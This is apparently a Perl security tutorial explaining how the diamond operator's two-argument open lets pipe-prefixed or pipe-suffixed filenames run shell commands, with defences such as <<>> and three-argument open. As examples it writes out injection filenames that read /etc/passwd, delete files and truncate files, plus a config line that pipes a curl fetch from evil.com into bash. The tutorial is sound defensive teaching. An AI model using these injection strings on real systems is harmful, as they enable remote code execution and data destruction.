The Diamond Operator Is a Shell Injection Vector
This page explains why the Perl diamond operator (<>) is a shell injection vector and how to patch it.
That's the diamond operator. It reads from files listed inwhile (<>) { chomp; process($_); }
@ARGV, or falls back to STDIN when the list is empty. Every Perl tutorial teaches it. Every sysadmin uses it. If a user can control the filenames, they can execute arbitrary shell commands through it.
No eval. No system. No backticks. Just <>.
Part 1: HOW <> PROCESSES @ARGV
When you write<>, Perl iterates through @ARGV and opens each element as a filename. If @ARGV is empty, it reads STDIN. That part is straightforward.
The problem is the way Perl opens those filenames. It uses the two-argument form of open internally. It does not use the safe three-argument form. It uses the two-argument form.$ echo "hello" > greeting.txt $ perl -e 'print while <>' greeting.txt hello
Two-argument# What <> does internally (simplified): for my $file (@ARGV) { open my $fh, $file; # TWO-argument open! while (<$fh>) { # process } close $fh; }
open behaves differently from three-argument open. It interprets special characters inside the filename string.
Part 2: THE TWO-ARGUMENT OPEN LURKING INSIDE
Two-argumentopen treats certain characters as I/O instructions, not as part of the filename:
Those last two lines are the dangerous ones. A leading or trailing pipe character turns a "filename" into a shell command.open my $fh, "file.txt"; # reads file.txt open my $fh, "<file.txt"; # reads file.txt (explicit input) open my $fh, ">file.txt"; # WRITES to file.txt (truncates!) open my $fh, ">>file.txt"; # APPENDS to file.txt open my $fh, "| command"; # pipes TO a command open my $fh, "command |"; # pipes FROM a command
And <> passes every element of @ARGV through two-argument open.
Part 3: FILENAMES STARTING WITH PIPE EXECUTE COMMANDS
If someone passes a filename that starts with|, Perl interprets it as "pipe output to this command":
# malicious_script.pl while (<>) { chomp; say "Processing: $_"; }
That does not try to open a file called$ perl malicious_script.pl "| echo PWNED > /tmp/proof"
| echo PWNED > /tmp/proof. It runs echo PWNED > /tmp/proof as a shell command. Check /tmp/proof and you will find the word PWNED sitting there.
The <> operator happily executed a shell command because the "filename" started with a pipe. Your script did not intend to run commands. It just wanted to read files. Two-argument open does not care about your intentions.
Part 4: FILENAMES ENDING WITH PIPE EXECUTE TOO
A trailing pipe is even nastier. It means "run this command and read its output":That runs$ perl -e 'print while <>' "cat /etc/passwd |"
cat /etc/passwd and feeds the output through <> as if it were file contents. Your script reads what looks like file data, but it is actually command output.
More dangerous:
That runs the$ perl -e 'print while <>' "rm -rf /tmp/important_stuff |"
rm command. The output of rm (nothing, usually) gets read by your script. The damage is done. The files are gone.
Your Perl script just became a remote code execution vector.
Part 5: A PRACTICAL DEMONSTRATION
Let's see this clearly. Here is a script that "safely" processes log files:Normal usage:#!/usr/bin/env perl use strict; use warnings; use feature 'say'; # "Safely" count lines in each file my $total = 0; while (<>) { $total++; } say "Total lines: $total";
Malicious usage:$ perl linecount.pl access.log error.log Total lines: 4521
The script happily counted the output lines of$ perl linecount.pl "ls /etc |" Total lines: 47
ls /etc instead of reading a file. The user ran an arbitrary command through your script.
Now imagine this script runs as a cron job that processes filenames from a database. Or a web application that takes filenames from user input. Or a sysadmin tool that processes files from a config file that someone else can edit.
Part 6: THE <<>> DOUBLE DIAMOND FIX
Perl 5.22 introduced the double diamond operator<<>>. It does everything <> does, but uses three-argument open internally. Special characters in filenames are treated as literal characters, not as I/O instructions.
#!/usr/bin/env perl use strict; use warnings; use feature 'say'; # SAFE version while (<<>>) { chomp; say "Line: $_"; }
The double diamond tried to open a file literally named$ perl safe_script.pl "| echo PWNED" Can't open | echo PWNED: No such file or directory
| echo PWNED. No command execution. No shell involvement. Just a clean error message.
If you are on Perl 5.22 or later (you should be), use <<>> instead of <>. Always. There is no reason to use single diamond when processing filenames from @ARGV.
Part 7: DEFENDING EXISTING CODE
What if you cannot upgrade to<<>> or you are maintaining legacy code? Several defenses work.
Defense 1: Validate @ARGV before using <>
Defense 2: Use three-argument open explicitlyfor my $file (@ARGV) { if ($file =~ m~[|<>]~ || !-f $file) { die "Invalid filename: $file\n"; } } while (<>) { # now safe }
Three-argumentfor my $file (@ARGV) { open my $fh, '<', $file or do { warn "Cannot open $file: $!\n"; next; }; while (<$fh>) { chomp; process($_); } close $fh; }
open with the explicit < mode is always safe. The filename is treated as a literal string. No pipe interpretation. No special characters. This is the gold standard.
Defense 3: Use ARGV::readonly from CPAN
The module hooks into theuse ARGV::readonly; while (<>) { # @ARGV entries are sanitized }
<> mechanism and prevents command execution. It is a drop-in fix for existing code.
Part 8: WHY THIS MATTERS FOR SYSADMIN SCRIPTS
Sysadmin scripts are the highest-risk category. They often:- Run as root or with elevated privileges
- Process filenames from external sources (logs, configs, user input)
- Get called by other scripts or cron jobs
- Live on servers for years without review
A script written in 2005 that uses <> to process log files might still be running in production today. If an attacker can influence the filenames it processes, through a config file, a database, a web form, or a symlink attack, they have code execution.
If someone can write to# Typical sysadmin pattern (VULNERABLE) #!/usr/bin/env perl use strict; use warnings; # Process whatever files the config tells us to my @files = read_config("/etc/myapp/files.conf"); @ARGV = @files; while (<>) { # process log entries }
files.conf, they own your server. One line like | curl http://evil.com/backdoor.sh | bash in that config file and the game is over.
Fix:
# SAFE version for my $file (@files) { open my $fh, '<', $file or do { warn "Skipping $file: $!\n"; next; }; while (<$fh>) { # process log entries } close $fh; }
Part 9: OTHER SNEAKY FILENAMES
Pipes are not the only danger. Two-argumentopen also interprets:
A filename ofFILENAME WHAT HAPPENS ">/etc/passwd" Truncates /etc/passwd (if permissions allow) ">>/tmp/log" Appends to /tmp/log "+<file" Opens file for read/write "-" Reads from STDIN (can cause hangs) "" Empty string, reads STDIN on some systems
>important.dat passed through <> will truncate that file. It will not read it. The data is gone.
Even the humble - is dangerous in automated contexts. If your cron job passes - as a filename, the script hangs forever waiting for STDIN input that will never arrive.
The double diamond <<>> handles all of these correctly. Every filename is literal. No interpretation. No surprises.
Part 10: THE RULE
The rule is simple:The diamond operator is convenient. It is elegant. It is the Perl way to process files from the command line. It also has a shell injection vulnerability baked into its implementation.+------------------------------------------+ | | | <> is for quick one-liners where YOU | | control the arguments. | | | | <<>> is for scripts where ANYONE | | might control the arguments. | | | | Three-argument open is for when you | | want to be absolutely sure. | | | +------------------------------------------+ .--. |o_o | "Two-argument open trusts |:_/ | the filename. The filename // \ \ doesn't deserve that trust." (| | ) /'\_ _/`\ \___)=(___/
Know the risk. Use <<>> or three-argument open. Validate your inputs. Every sysadmin script that processes filenames from untrusted sources should be audited for this. Today, not tomorrow.
If you grep your codebase for while (<>) and find matches in scripts that process external filenames, you have homework to do.
perl.gg